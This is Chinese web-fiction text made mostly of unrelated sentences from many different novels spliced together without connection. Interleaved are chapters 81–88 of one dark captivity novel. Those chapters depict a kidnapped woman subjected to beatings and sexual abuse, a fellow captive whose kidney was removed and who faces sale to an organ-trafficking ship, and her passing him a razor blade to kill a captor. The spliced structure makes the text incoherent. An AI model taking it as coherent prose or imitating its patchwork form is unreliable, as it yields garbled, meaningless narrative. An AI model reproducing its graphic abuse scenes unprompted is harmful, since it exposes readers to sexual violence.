可是,他们人多,这帮恐怖分子就盯上了他们,不断跟着,就像是狗皮膏药一般。
“你在幸灾乐祸。”他解开衬衣纽扣脱掉,随手扔进脏衣篓里,赤裸着上身去衣柜里翻衣服。
而且在过去的数十万年的岁月中,他从没有流过一滴鲜血,此时一下子要喷出一大口,他还有些心疼。然而就是这一犹豫之间,重剑已经闪电般来到了近前,它的目标并不是万里云,而是他手中的换命符。
“能查清楚,具体时间和走私用的车辆吗?”我想了一下,开口对牛刚问道。
可惜令我没有想到,戚猛的力量竟然此之大,能让我的右手臂出现瞬间的酥麻,并且一股巨力涌来,我的身体瞬间控制不往平衡,于是朝后连退了五步。
陌千千被韩锦风用力的扭到了地上趴着,一只手被他握在手里疼得她要命。
星期六的晚上,公司里没人上班,值班无非就是防止有人来偷东西。
惜芷往边上靠了靠,以便待会儿从他们边上过去,而那路人马看到阮惜芷后,竟然不再继续前行了。
接下来的时间里,不止四人,之前进入这仙宫中的其他人都在这破败仙宫中仔细寻觅着。
齐宝对太巫秘境并不陌生,所以跟随着仙独行进入之后,他没有太过陌生。
“那行吧,麻烦你了。”安德烈无奈,只能选择先看看再说,如果不合适,大不了就不要了。
十二个白银教官里面,练成【缩地法】的只有寥寥几人,而修炼到第二层的更是只有一个。
一时间虚空震荡,天子剑的“碧水寒天”内,一条条虚幻的赤黄色龙影翻腾,阵阵龙吼传遍四周。
“明白!”飞行员其实一点都不明白,不过还是打开了所有武器的保险,他的心头充满了疑惑,对付什么东西,要自己这家超级大黄蜂攻击战斗机一次性饱和攻击?
古洛那原本已经受了重伤的身体,陡然爆发出极大的力量,瞬间朝着远处奔去。
巨大的飞龙从天上扑落,如同捕食的巨鹰,一辆伞兵突击装甲车来不及躲避,竟然被整台抓住,腾空而起,在几百米的高空上,飞龙松开爪子,突击车成了自由落体,以每秒十几米的速度砸向地面,最后成为一堆废铁。
扬风,便是那晚被林浩一金箍棒压在地上起不来,直接受了内伤的那个老头。
“天罡,你的主让我來找你,地方也是他告诉我的”鹰涛自然知道天罡的疑问,不免笑了起來。
“王姐要黄今晨做的事是什么事”南宫洛璟再次重复了一遍方才所讲的话。
所谓魅惑之道,便是以色控制人的身心。这种天赋一旦修行至极致,便是剑圣强者,都能被魅惑,最终为别人所用。
第一卷 第81章 肮脏
秋榕榕不太想回想这天发生的事情。
她问他:“你没脏病吧。”
结果他抽了她一巴掌。
徐照很粗暴。
就算只拿来当床伴,也算不上一个好情人。
他兴奋的时候会打人,像是一条会得了狂犬病的疯狗。
秋榕榕手被锁住了,不然的话他绝对会去扣他腹部还没有完全愈合的伤口。
“等等吧,等药效过去,青璃丹的确能够去除陈疾,有治愈的功效。”林破天也坐了下来,他不赶时间,也不怕有仇人追杀。
竟然是清蒸鱼。我看向盘子,看起来很不错,鱼很新鲜,黄的细细的姜丝,还有绿油油白嫩嫩的葱丝,汤汁的颜色也很好看。
云树拿毛巾抹了满脸的汗,喝了口茶水,就被辛坦之叫过去,教她练基础。
他来此地只是为了学习一些格斗术,没有想过真正的参军,更没想过成为反恐特战队的一员。
蒂埃里跟在后面看着我们吧啦吧啦的说,他因为不懂只能逐一看着,从表情上分析我们的意思。
只得陪她们聊了一会,才四处看看,指导了一些软装方面的一些问题,然后我才告辞出了陈家。这里距离我的公寓还真的着实有些距离。
我的心剧烈的狂跳着,虽然自己清楚的知道,这已经是过去式,却还是瑟瑟发抖。
“而你,却是万年前楚家的皇子。”那少年再度将目光望向徐经年,眼神中饱满着对命运的不甘。
“是谁,害了父亲?是皇上?义父,我是不是应该努力变得强大,为父亲报仇,就如赵氏孤儿一般?”云姝红着眼睛问道。
尽管她从未说过,也从未曾将自己的情绪表露出来过,可是错兮却是能感受得到她的不开心的。
熟睡的大白猪猛的睁开眼睛,翻身站起,鼻翼微微张合,眼露恐惧,这是…这是御兽宗的气息。
军训结束后,大家却显得有些迷茫,一个下午,上课都没有什么精神,老师还调侃说他们是运动过度后遗症,一旦静下来,就会觉得空虚。
只要她失败了,不仅项目经理的位置要让出来了,还能增加自己家以后多分点财产,这要求怎么能不答应她吕紫妍了?
直到楼老爷子去世,突然有人站了出来,说他才是楼家二少爷,而楼含清不过是个冒牌货,并且拿出了一份亲子鉴定。
说来也是巧了,不知道为什么,整节车厢中,偏偏只有梁山前一排的座位没有被乘务员给转过去,竟然能跟对方面对面地坐着。
等到夜羽回过神来的时候,大殿里面已经没有了李平安的身影,五位半神正眼巴巴的看着自己。
其实不是她没有听见闹钟响,而是她把闹钟给关了,一下就睡过了头。
一名普通人里的职业重量级拳击手,单论力量的话,大概一拳能打出三百斤左右。
因为她只有在李石川这种穿着土包子的跟前能拥有这种浓烈的优越感,其他时候,她也只不过是一个只会给土豪们不断开腿换钱的工具而已。
就这样,过去了很久很久。突然,一股冰冰的寒意从心底的隐秘之处缓缓涌了出来。不一会儿,它们就流遍了雪星然的全身,同时也中断了雪星然的感悟。
宫凌睿泡在沐桶内,枕着木桶的边缘,闭着双眼,手中握着玉玺,拇指不断在上面的雕龙头上摩擦着。
第一卷 第82章 生死
秋榕榕犹豫了一下,还是把糖揣进口袋里。
地下室清理干净后,江无渡很满意地摸了摸她的头。
然后又把她送了上去。
两人吃饱喝足之后,狗娃背上赵国栋,在赵国栋的指引下,往前方走。
“我要是真的严厉起来,你恐怕会躲得我远远的,我才不会这么傻呢。”柳婉若掩嘴一笑,弯下腰,将掉在地上的一根青菜捡了起来,放进了垃圾桶里。
猛然惊人的一幕出现了,就见先前还没有丝毫的动静的岩浆地面瞬间动了起来,只见那地面剧烈的颤抖着,那深沉的岩浆不断的爆涌而起,似乎在那岩浆的世界中有着什么东西要出世一般。
。大片大片的树林映入眼帘。面具男把我紧紧的护在怀中。他一只手抱着我的腰。另一只手抬起我的下巴。逼近着我与他直视。
已经是半夜了,夏末秋初的季节里夜晚总是凉了许多,虽是还能听到几声蝉鸣,但那声音总是显得有些虚弱了,正如此刻钟离朔的心情,本就是乱作一团麻,被那蝉鸣声一打扰更是有些烦躁。
“这是自然,时间在三个月后,怎么样?不能再拖了。”老者眼神中闪过一丝担忧道。
我和云昔又同时咳嗽掩饰。。纷纷当作什么都沒发生过一样。心照不宣的继续吃着火锅。一顿饭下來。我们都很满足的靠在椅背上打着饱嗝。
柳墨言能够想到将滚烫的水温用内力降温,这已经是极限,剩下的便是趁着男人的唇张开一点的时候,将水逼进去,现在段锦睿咳嗽的脸都涨红了,柳墨言一时有些手足无措,将杯子从段锦睿的唇边移开。
若这是我的孩子。该有多好。我在心里默默地想着。手指也不住摸了摸孩子的脸蛋。触手之处皆是一片柔软。那浓浓的奶香味儿让我的心也跟着一起柔软了起來。
“怎么了?”青烟顺手拉住玄冥的衣角,指着锦瑟的伤口已经说不出话来。
苏云凉一年前就已经从赵泽等人的记忆中知道了不少关于药灵城和云城的规矩,知道云大说得不假,倒也没怪他没用。
蓝羽喝得太急太多了,好像断片了,可这一段儿对话,却是清清楚楚地刻在脑子里了,蓝羽和他无意间的对话中探知,丁振就是曾经对伊凡行凶的那个杀手。
苑晴萱在购物袋中拿出一几盒刚才在超市中购买的套套,然后走进了卧室中,顺手关上了房间的灯。
尤物秦玫敞开衣领,酥胸半露,坐在史天赐的大腿上,正和他热吻。
本来伊凡和浩二是决不能被珍妮他们现的,因为,他们应该是在被拘留当中。他们能够回得来,是因为叫来了辛西娅的两个朋友做了伊凡和浩二的替身。
派出所的大院里居然有一排十几辆的警车,我们大喜过望,至少代步工具有指望了。
国内舒名上飞机前接到了薛建成的消息,有人出百万暗花要买薛君怡的人头。与此同时沈铜也接到了挞萨的通知。
听到这里,墨影没有在吃醋的样子,眼神坚定,和茹茹也被这句所感触,她开始佩服明凡,她觉得明凡有着那满腔热血。
第一卷 第83章 温柔
周景行立刻捂住她的眼睛。
做完这件事情,他就皱起眉头。
没必要这么做。
他不该亲她。
又或者亲就亲了,不该捂她的眼睛。
他站直身,走到窗户边把窗帘拉起来。
他让她置身于黑暗。
秋榕榕也没反驳。
于奎怒地青筋直起,他的出身是他平生最大的恨,从前他风光得意之时,从未有人敢在他面前提起他的出身,而如今却被天子几次嘲讽起来,他一时极怒,连伸出万箭中心,众矢之的都忘记了。
回到自己房间,南宫亦儿见奶娘还在睡,顿时松了一口气,不一会儿也爬上床,想了一下明天要做的事情,不知不觉一股困意袭上来就与周公约会去了。
天狼人的辎重终于还是进入了埋伏圈,五百辆大车的队伍好长,比原来的情报多出来了不少人的,现在只能消灭一部分的辎重了。
王舅爷走了,弁韩王子却陷入深深的愧疚之中。不管怎么说,他的父王还是非常疼爱他的,可是现在自己要兴兵反叛,心里怎么也不能接受,他再次来到后院,望着满院的落叶发呆。
南宫亦儿吃惊道:“你居然没睡,那你还装睡!”说完假装生气了捶了他胸口一下。
一直把慕容绯送走,阿九才敢去想刚才所得:若是这条潜规则不在了,那么会怎么样?
“是!”温茵糊涂过头了,好似故意要惹怒他,回答的斩钉截铁。
其实在夜无悔和萧阳这个层次的战斗,根本就不需要所谓的公正人,因为他们两个在内门之中的名气之大,这一战必然会引起整个内门的关注,到时候整个内门所有的人都是公正人。
李剑锐下了公共汽车。就难奈不住归心似箭的心情,拼命向自己家跑去。
可是,微微睁眼之下,她看到的却是一片漆黑,并没有什么亮光。
神策军中间,是楚风的老相识,当朝的太子殿下李重俊,身后跟着李华婉和谢云流师兄弟。
耳朵在看见大眼飞奔而走的同时,突然看见不远处有一对芪氏猎鹰在空中盘旋,那其中有那么一丝微弱的感应。
千佛无妖妖艳的面红,白皙且霞光四射,他笑得美艳,脚下的步子不紧不慢地向着离黎靠近。
紫衫身影的出现,没有多少人注意到。她跃到光罩上方,额间宝石闪动,在光罩中打开一个缺口,可不知为何,缺口在打开之后,有一阵青光随后闪耀了起来。
随着话音落下,灰色的圣盾高达开始着色,和原来的红色不同,此时的圣盾高达的颜色已经变了,红黑相间的涂装,让圣盾高达更显得邪恶诡异。
这突然的事情,不仅仅是对赵原的考验,更是对邵猛负责的赵氏体系下,对内对外情报系统的一次大考验。
她藕臂挎着的一个食盒也随之落地,充满香味的饭菜染上白雪,汁水令其变色。
“之前是,但在不久之前,勉强的达到了真传弟子。”说到这个,萧晨也有些骄傲的说道。
就在剩下的五大仙王骇然的看着华天都被方寒在炼化却无可奈何的时候,一声惊雷响彻虚空,一道狼狈不堪的身影撞碎了虚空,从一个个位面之中飞了出来。
一声轻响,一名男仆推断窗棂,从窗户里跳入后打开房门,范临帖率先冲进屋里,他等的太久听不到儿子的啼哭,终于在三名庸医的催促下打开房门走了进来。
第一卷 第84章 杰作
周景行忍住了再给她一朵兰花的冲动。
他反思自己的这个行为。
将之归咎于他没碰过其他女人。
没经验,就她一个,所以是仇人的女儿也觉得稀罕。
于是,马常发去赶马车,石子魁再去医药一条街找那名医季元梓,而柯寒只需在这茶舍静候。
听到了赵子龙的话以后,王曦脸色巨变,想说什么,却没有说出口。
这时月道人反而退后了几步,两手一挥,那十几个保镖硬手硬脚围了上来。宁昊看他们的姿势顿时觉得不妙,这些人走路的姿态居然和地下洞穴的活尸有些相似。
“柳姑娘!”韩冰惊呼一声,从燕云笙手中取过捆仙索,朝着柳依依飞去的方向抛出一端,果然,捆仙索没有让自己失望,果然捆住了柳依依。
石心泉的外衣早已碎成布条。内衣也裂开数道口子。大片大片的雪白肌肤暴露出来,不少地方被血液染红。
这时,结束已经治疗,夏凡瞅了眼心脏监护仪,心率已经由零上升到七八次,还在缓慢上升,一颗心顿时放了下来。
有外人在场,赵子龙并没有叫郭雪芹为干妈,而是直接称呼为郭姐。
就在两人不断争吵之时,轮回战虎抬起前爪,在地面之上刻下了两个字:战云。
在这里到处都是漆黑色的山峰,山峰的山石感觉不到什么异样,但是这么多山峰组合在一起,却形成了一座天地大阵,这种感觉让人窒息,仿佛在头顶上有一双遮天蔽日的大手压着,让人呼吸都有些困难。
虽然说,刚刚突破了,应该没有什么危险的,但是那也只是理想化的,要是刚刚突破,精神力就凌乱了,魔力不能被精神力控制,那可是很危险的,那是可能会直接爆炸的。阿尔娃可不打算告诉陈城的仇家的。
“明明就是个破直板,你脑子进水了。”不理他,云茉雨赶紧去垃圾桶里翻找,拿起一看,屏幕磕坏了,整个角落都碎了。
“怎么了怎么了?”高家的大人也赶过来了,连昨天那位老者胡先生也来了。
然后过了马路,两位母亲没有松手的意思,就依然是保持手牵手状态,一路继续向着美食街的方向走去了。
龙飞闭上眼,她不想看了,这些人那是天煞孤星的对手?原来……神仙的血,也是热的……睁开眼,她看见了满地的碎肢,那些天兵天将都死了,不远处就是李天王的头颅,他双目圆睁,死的很不甘心。
缪可蒂看到缪凯恩即将被击中的时候及时出现,也同时在这一刻将体内的十二元素能量融合转化,体内的元素已经有百分之六十转化心灵系元素,其余的百分之四十归于十二元素。
她现在,内心已经接受了自己要补偿对方,让对方配合她的想法,不会再怀疑是梁浩自己想要参赛。
梁浩摇头否定,根据他的推测,这佛钵可以收容灵魂,能让正常的灵魂配合长生界的特殊情况下,在阳世停留。
见到母亲对自己吼起来,陈思冲感到更加委屈了,泪水再也止不住地流下来。
“谢宗主赏赐!”洪真盈接过宝器,毫不掩饰内心的雀跃,甚至比自己得到赏赐还要高兴。
第85章 刀片
谭松在飞机休息大厅的时候一直刷着手机。
他看见,秋榕榕的朋友圈还停留在发毕业证的那一天。
后面就再也没有更新过。
这两天,他给她发消息。
她回应得也很敷衍。
要么是一个表情包。
要么简单“嗯”一声。
要么好久回一个“知道了”。
沈砚川开解他,说人家女生要结婚了,肯定要和别的男的保持距离。
谭松却皱眉,“我觉得她没看起来那么开心。”
“可能是婚前恐惧。”沈砚川总能找到理由解释。
“不是。”谭松有些不悦地看了一眼沈砚川,“秋榕榕和周景行在一起没那么开心,我能看出来。”
“说不定过两天,你就能看见他们发的旅游照片了。”
此时候机大厅传来登机的声音。
谭松看了一眼窗外的雪,摸了摸口袋里没送出去的雕塑兔。
他跟着人流往前走。
——
秋榕榕因为月经疼,大多数时间都在床上躺着休养。
他们不给她手机。
秋榕榕便用周景行房间的投影仪看电影。
投影仪里有一个加密文件,她打不开。
剩下的都是他下载在本地云盘的电影。
偏文艺。
秋榕榕随便播放了一个《生人勿近》,然后抱着枕头消磨时间。
自从上次,房间里的夹层通道全部被锁起来,秋榕榕没办法再下到地下室负一层。
江无渡在秋榕榕电影看到一半的时候,进入房间,把她从柔软的被褥里拽起来,让她去打扫卫生。
徐照一直在咳血。
原本他自己咳的血,是由他自己擦干净的。
但自从被摘了一颗肾,他日渐虚弱。
秋榕榕看着他眼底的青灰色,担心他快死了。
他若是死了,那些人的精力就会全部放在她一个人身上。
想想都可怕。
“徐照,他们准备把你买进公海医疗船。”
徐照显然知道公海医疗船是什么地方。
徐家也曾以买家的身份,在里面购买过商品。
现在,徐照成了里面被售卖的零件。
天道轮回,莫不如是。
徐照的脸色灰败下去,他知道自己要死了。
“你在上面,可听到他们说有人来赎我?”
秋榕榕摇头:“没有。”
“徐家的人一个都没来?”他情绪激动,拉扯着锁链哗啦作响。
“可能他们自身难保吧。”
瘦死的骆驼比马大。
秋榕榕也希望徐家能有人追查徐照失踪这件事情,然后顺带着把她也救出来。
徐照沉默。
他也没失落很久。
“喂,你过来。”徐照又在打秋榕榕的主意。
“你想干什么?”秋榕榕防备地看着他。
“给我靠一会。”他眯着眼睛,即使是笑也让人觉得不怀好意。
徐照理所当然地把秋榕榕当成了自己的女人。
他觉得,他得到了她。
于是,他的心开始贴近她。
秋榕榕走到她的面前,他伸手想要触碰她,被她躲了过去。
徐照不满地说道:“啧,你躲什么?我们该做的,不该做的,都做过了,你现在装什么矜持?”
“徐照。”秋榕榕唤他的名字,在他抬头看她时,秋榕榕拿出了之前所藏的刮胡刀刀片。
她摊开手心,薄薄的小刀片泛着冷白的光。
“这个给你。”
他挑了挑眉:“你什么意思?”
“江无渡把你害到今天这个地步,没有人会再来救你,你可以用这个拼一把。”
用这个小刀片,拼的不是生机。
而是死前,带下去一个。
徐照没好气地说道:“你怎么不动手?”
“我还有机会活。”秋榕榕见他不接,背着摄像头,卡着死角的方位弯下身,把刀片放在他面前的地板上,“你没机会了。”
秋榕榕知道,徐照会死在她的前面。
徐照沉默了一会,把刀片藏了起来。
“老子本来就快死了,你还推老子一把,你这种女人果然没良心!”他骂骂咧咧,似是很不甘心。
他看出来,也知道,秋榕榕和林向婉不一样。
虽然很不甘心。
但她确实没有因为在一起过就产生忠诚。
徐照拴着锁链,不能真把秋榕榕怎么样。
“喂,这个太小,只能割破皮,你给我弄个大一点的刀。”
“大的不好藏,我也拿不到。”唯一有刀的地方是厨房,秋榕榕无时无刻不在他们的监视之下,没办法进厨房。
她颇有些无奈地看着他,“这是我冒着被弄死的风险才藏下来的,你将就用吧,我一共就从刮胡刀上面掰下来两个刀片,我们一人一个,你别让我失望呀。”
是的,她藏了两个刀片。
另一个她用纸包着,藏在了荞麦枕头里。
他们身上都有枪。
除非最后走投无路拼死一博,否则这小小刀片她不会拿出来用。
秋榕榕清扫完地下室的血,正准备回房间。
江无渡就在楼梯口处抽着烟从上看着她。
从地下室上一楼的楼梯狭窄。
仅一人通道。
如果两人,就得侧身过。
秋榕榕不太想往前走。
他太有压迫感。
看着她的眼神,滑腻腻,阴仄仄的,不像是在看一个人。
“兔兔真有魅力,能哄得饲主带你出去放放风,就不知是否心里也像表面上看起来那么乖顺。”江无渡一步一步走下台阶,他在距离她一个台阶的位置站定,慢条斯理地弹了弹指尖的烟灰,“刚才我不在,你们有没有情不自禁再来一次?还是说,你们离得这么近,其实是在交流如何干坏事?”
秋榕榕垂着眸,“是周景行要带我出门,也是你让我下地下室。
我只是被动接受你们的安排,你们不能一边安排我,一边怀疑我。”
他的眼神游离不定。
像一条蛇,从她的脚踝一路缠绕至颈后,冷凉、柔软,又让人恶心得无法挣脱。
秋榕榕被他看得冷汗直流。
时间也不知过了多久,他终于肯放过她。
江无渡笑了一声,侧过去,做了一个请的姿势,让秋榕榕上去。
“也对,小兔兔这么弱小,牙齿软软的不会咬人,又能翻出什么花呢?”
他的声音很轻。
“最后他玩腻了,会把你交给我处理,这事,他和你说过没?”
第一卷 第86章 动脉
秋榕榕低着头,什么都没说,侧身走过。
江无渡强调这件事情,无非是看周景行这两天对她稍微缓和点,便提醒她别忘了自己的身份。
秋榕榕当然没有忘。
她怎么会对加害者抱有希望呢?
不用他提醒,她也记得自己现在的处境。
这里的酒不是米酒也不是马奶酒,仅仅有各色各样的果味醇酒,特色的瓜果葡萄几乎样样俱全,让人数都数不过来。
摄政王朱邪正雄不由有些担心,他顾虑地自然不会是那些士兵的死活,而是他们倒底有没有抓住李克用。
白帝看向西王母,眼神中的轻蔑仿佛是听到了某个不值一提的笑话。
经过斥候的搜寻,凤鸾郡西面山林并没有兵马埋伏,徐大铎这才大胆下令兵马前进。
这个富商体态宽厚,所以虽然身高低矮,但还是显得很壮硕。打扮的并不像个武者。
白帝看到轩辕三丰开始拼命了,徒手握着天帝剑,猛地用力,天帝操控下的天帝剑便化作了粉碎,只不过天帝剑碎过之后,白帝手上的血迹有点尴尬。
然而,他现在并没有头发,浑身上下黑漆漆的,看起来倒像是向真龙宣战的光头大魔王。
苗柏宝面色铁青,他清楚这些高级灵阵的强大之处,不仅能够防御,而且攻击力强大,进入阵仗之中,必死无疑。
这是破灭神光,具有无上锋芒,此时瞬间出现,又瞬间冲向无名,饶是无名运转着火眼金晴,都差点没有捕捉到破灭神光的轨迹。
不熟练的叫声断断续续,稚嫩无比,带着些许委屈,却又格外的撩人,像是叫到了男人的心里去。
他的神情痛苦而自责,那样迷茫而自怨。莫离闻言,淡淡地道:“原来,那时候你便知道这个所谓师妹的身份。”他抬头看了毛乐言一眼,似乎对她隐瞒他而颇有微词。
裴越看了她一眼,低头看手机……然后就看到热搜第一那个名字。
“你为何请旨入冷宫?”毛乐言问道,拿着扫帚的梅妃,她还真是看不惯。
一字长蛇阵摆开,双方很有默契的都没有别的一番动作,而王跃却是来到了三狼处。
“既然死里逃生一次,那么这一次……我就送他一程吧。”王罪阴森森邪笑。
林望歌平静凝视着已经重伤昏迷在地的风浅浅,双黑瞳如飘絮入水般,丝丝缕缕散大,凝成绝望整圆,充斥整个眼眶,最后连指尖细微痉挛都停了来,石彻底沉入水底,丝波澜都归为虚无。
“你怎么了?”虽然有些害怕,宁儒熙还是忍不住开口问贺兰瑶。因为他觉得贺兰瑶现在的状态真的好可怕。
繁星布满夜空,回到自己的院落内,王欢轻手轻脚地把苏念抱回了猫窝。
其中涉及了她在归墟之地的修行、在魔界军校的学习、在泠月都将军府的生活、在百年之前爆发的守土之战中手持瑶光剑,以一敌百的英姿、还有她在魔界皇宫接受封赏的场景。
“哪儿呢?”王后虽然长相欠佳,但是对自身的形象却相当在意。
巫泠鸢:……我踩死你算了!至少死在我手上比死在狗男人手上幸福。
她如今体内的毒性是靠臧柳的药方压制,能够延缓毒性的发作,但却不能制止。当初臧柳也说过,这毒几乎难以治愈。
第一卷 第87章 缝针
“我还想知道你是什么人呢,为何出现在我的洞中?”萧狂直接质问道。
林浅笑即便身手高强,但也不是刀枪不入,更不要说是子弹了,将一个翻身,向着车后躲了过去。
林凡扭了扭酸痛的脖子,就见纳兰素琴正坐在自己身旁,满脸担忧的看着自己。
“钟医生,不管怎么样,你怎么也得治一治呀!给我爹打打针也行呀……”这时传来了另一个男子的声音,只不过这声音里面带着一丝绝望。
在场这些河北乡流哪见识过河洛盛行的茶艺之道,因是即便设局,也只能是形式相对简单的品局,没有那些花活的限制,带嘴品尝即可。
见武十三没有事儿,其他人就跟了过去,战战兢兢的跨过红线,来到武十三的身边,周围昏昏暗暗的。
想着想着,张雨婷就迈出步子,走了上去,当走了两米之后,她顿时就瞪大了眼睛,因为自己竟然莫名其妙的提不起力量,双脚开始受到陌生力量的牵扯,想要抬起脚往前走,竟然越发的困难。
阿芝浑身一颤,如遭雷击,大脑变成了一片空白,圆瞪双眸,不敢相信林哥会亲吻她,而且还是在这么多人的注视下。
有了这样一个想法,沈哲子心绪稍宁,且不论可行性多高,最起码不是全无退路,就算此生也难北上,但点点科技树,就当支援南部大开发了。
众人瞳孔一缩,这三头蛟龙的修为竟然达到了问道境九重天,普通的强者根本就不是对手。
不要说明月雪,就算是他自己,如果没有山河社稷图,他现在如何,还很难肯定。
还未等卿鸿靠近,巨树的树枝就宛如触手一般,向着卿鸿猛然的抽了过来,那强劲的力量划破天空,所到之处,空气一阵的扭曲。
“你说的也对,你的意思是暗中保护的你的保镖已经出卖了你,我你出来到这里吃串串香,有哪些人知道?”纳铁也意识到不对,同时也暗中惊叹与许素静的分析能力。
唐唐一边去触动手上的尾戒一边在心里喊着,却是发现一个严重的问题。
兰心上前,一咬牙,用牙齿咬破了手腕上细细的血管,然后,递到唐唐怀中的白少紫唇边,不敢睁眼,只是紧紧的闭着双眼。
看白少紫的笑容,还有随后跟来的龙行等人都在笑,唐唐觉得自己或许真的多心了,便没有再多说什么。
对于自家主人的这个评价,器灵真的是有些震惊了,有些惊疑不定的询问道。
只见在那苍穹之上,有着几道魔云翻滚而来,这几道魔云到了身前之后,各自显露出身影,赫然是几个魔头。
“在告诉你七彩凤凰一族所在地之前,我先给你讲讲七彩凤凰一族的由来,怎么样?”余巧月有点得意的看着纳铁道。
可这不是他们的错,资本主义的社会,国家权力集中在少数有钱人的手里,他们当然不会在乎劳苦大众的死活。
踩水则又不同,这是考验在动态情况下对查克拉的精细控制,难度要比爬树要高上一个层级。
苏溪瞧着她的成果,喜不自禁,立刻吩咐香草去陆府传话,邀陆宥真傍晚去思芜河游湖,那股得瑟的劲儿,香草香兰都觉得没眼看。
用简单通俗的话来说就是,昆仑学院是九州第一学府,且有个很牛逼的系——召唤系。
许云卿犹豫地看向何绵儿,问道:“你可是愿意同他前去?”这个决定,他却是不好自己定的。只怕,背后牵扯太深。
但是没过多久,茉莉就发现了一件更加不可思议的事,那便是约尔和约克自那之后,平均每个星期就会去冰原一次。
何绵儿接过册子,仔细地翻看起来。每日几乎都是三位大人一起来,或者是两位大人一起进来,很少有落单的时候。
寿命,之前的超神学院也就有极少数的人类,还有天使才会拥有漫长的寿命。
那日之后的事裴氏不愿多提,也严禁府中人议论,苏溪她们只知道王煦扬仍旧住在苏府外院的客房里,苏蓉也如往常一般,不见任何异样。
缝隙空间的时间似乎是静止的,那两个世界时间不对等,好像也能解释。
礼服胸前背后都是深v设计,穿上后不仅要露背,胸前的事业线也藏不得。
甚至还有些崇拜杰克的粉丝,已经忍不住破口大骂起来,说萧飞就是一坨狗屎,凭什么不把杰克放在眼里?
他就是利用这个东西,曾经杀过无数个想要反抗的拳手,比如现在他就要用这一招,马上把第200多个反抗他的拳手给干掉。
“哎?这可是以后我们征服其它君主,获得更多灵魂之火的秘密武器,怎么能杀呢?
原来,当初在吴越斩杀了李南横之后,大长老吴道子得到了后山那位恐怖存在的暗示,暗示的内容就是:可以让吴越下山去请罗家与轩辕家的两位世子助无极门打赢这场三派大比。
只是,江流石为什么要去杀那只大水怪?大水怪的凶险且不说,在雾水县的北边,还有更高的地方可以安全离开这里。
第一卷 第88章 镣铐
现在是春耕时间,各家各户都逐渐忙碌起来,估计赵富贵又在筹划着怎么卖掉家里的几百亩地。
这丫头一看就不对劲儿!他和她这么多年朋友了,什么时候见过这个嚣张的丫头变得这么没有生气儿了?
她不相信他会骗自己,不管他们还有没有机会在一起,至少他答应了把她的身世告诉自己。
想着问问清蓉,她昨天到底有没有和徐天…在一起。又不知道该如何开口去问。
可没想到有一天会沦落到一看到这么可爱的兔子,就把它当成了盘中餐。
艾莉没有理会沈璧的疑问!她现在也很想知道,清蓉到底怎么了?
乔沐元趴在他的怀中,喘着气,双眸紧闭,眉头微蹙,还没有从刚刚的一切中缓过来。
几分钟后,会议室门口传来几声寒暄的说话声,她赶紧来到办公室门口,打开了会议室的门。
她是知道对于现在的自己来说强行用高品阶丹药来抬高修为害处很大,可这也是没办法时候的办法了,不然还能怎样?
每隔一两个时辰,缓过来的沐萍就会再上升一级悬梯。其他人就这么等着,曹凡没有再对下方的两人出手,姜宪他们更加不会主动招惹过来。
绿箫是盘坐在地上的,有些诧异的抬头看他一眼但是没有多问,咕嘟一声吞了下去。
广播念了名,于明芳和周付认识,用猪的脑子想,都知道剩下是苏世。
“妈,其实我倒是觉得现在挺好的,咱们在官面上也有了熟人不是?以后咱们办啥事就都方便好多。”刘富贵笑嘻嘻的说道。
“幻剑!”冷锋一打二,继续使用着他这似真似假的剑诀,同时他也是使用的更加的得心应手。
是一块玉佩,雕刻的极为精美,而且玉质精良,属于非常罕见的那种美玉。
他认为李自成在西安那次登基典礼不够庄重和正式,无法令天下人信服。所以他计划等李自成凯旋而归后,再正正规规的来一次天子登基大典。这样才能慑服包括天津卫叛军在内一些依旧不愿归附顺朝的前朝叛逆。
“不过我还是第一次看到枕眠表情这么丰富,她今天说的话,比我之前听到她说的所有话,都长。”安朵拉有些惊讶,又有些感慨。
多年以来,带方城的百姓们,终于能够在和平的环境下生活,不用再提心吊胆。
太阳升到一竹杆高时,陈铮与沈浪一行人已经离开宿营地,朝着西平郡的方向疾弛而去。
张三公子一意孤行,根本不听劝告,点齐兵马,以急行军方式向着海沙帮开进。
娲雨,身穿一袭黑色霞衣,容貌清丽无双,浑身透发出一种神秘的气息。
“是!”托尔米德尽管对戴弗斯的谨慎稍有点不赞同,但他知道戴弗斯主意已定,因此也没再提出相反的意见。
那六级武尊境界强者一口逆血喷出,感觉胸膛被一座山岳给撞击了一下似得,骨头都断裂了,五脏六腑剧痛。
府城提督,名声好听,说穿了就是一个城门官,根本比不过外放独掌一军。随着陈铮回归,渔阳郡必有大动作,若能坐镇一方,就有了建功立业的机会。
“你们既然来了,就别想走了,统统到碗里来。”萧羿的目光,陡然间落在了那三名龙皇子嗣身上,对他们冷冷说道。
他的身体,足足有五十丈长短,漂浮于天空之上,遮天蔽日,就如同一座悬浮的岛屿一般。
若非付老六急时出手,他们兄弟就要再次伤在薛红衣刀下了。江海阔怒吼一声,攻杀过来。与付老六前后夹击,浑雄的劲气发出啸啸破空声,罩向薛红衣的后背。
两人异口同声,相互望了一眼。天生将眼睛瞪大,一副气呼呼的样子。
这才来了多久,若是住个百多年,那他整个赫连家是不都得给灭族?
接着,他放出神识,迅疾地向周边一扫,发现方圆数百米,绝对无人窥伺,便运起轻功,掠过层层树影,飞速向宝莲池方向赶去。
“你有没有想过,如果对方说的是真的,我们传回去的资料是不完整的,配制出来的药剂只会让人死亡,会造成多大的损失。”凉子说道。
我们的情报人员与其它人民差异太大,只能通过公开信息分析和通信分析监控,这两种手段获取情报。
李浩看着很是火爆的风雨旅行社,他和周云笙通过点对点量子通信建立联系。
他既然做了,就会勇于承担责任,会想办法解决这件事,而不是回避和推脱。
赫连采薇在这想得倒美,一时间浑身发飘,就连簪在发间的千岁花也都摇曳生姿了起来。
一般它动手后,该有更大的乱子,比如那些医患的惊恐,可没了,半点声音都没有。
哪怕她知道这一切都是因果,自己招惹的仇家,可落到现在这个下场,她还是难以接受。
本来对方团队里面就有很强的对手了,秦鱼为了确保赢下打算暴露,却没想到对方更粗暴。
事实上,慕天青的伤,的确如一些人的猜测一样,没有看上去那么重,这倒不是说,他真伤的不重,而且因为他的伤,都是皮肉伤,这种伤,再严重,以主办方的医疗水平,几个时辰,足矣让他彻底恢复如初。
“怎么样?我是不是没救了?”见到杨裂风表情沉了下来,郝青尤为忐忑,紧张不安的问道。
不管是什么病,只要对症下药,其实一定会药到病除,现在很多的病人动不动卧床半个月甚至半年之久,其实就是庸医所为:不知其病,不对其症。
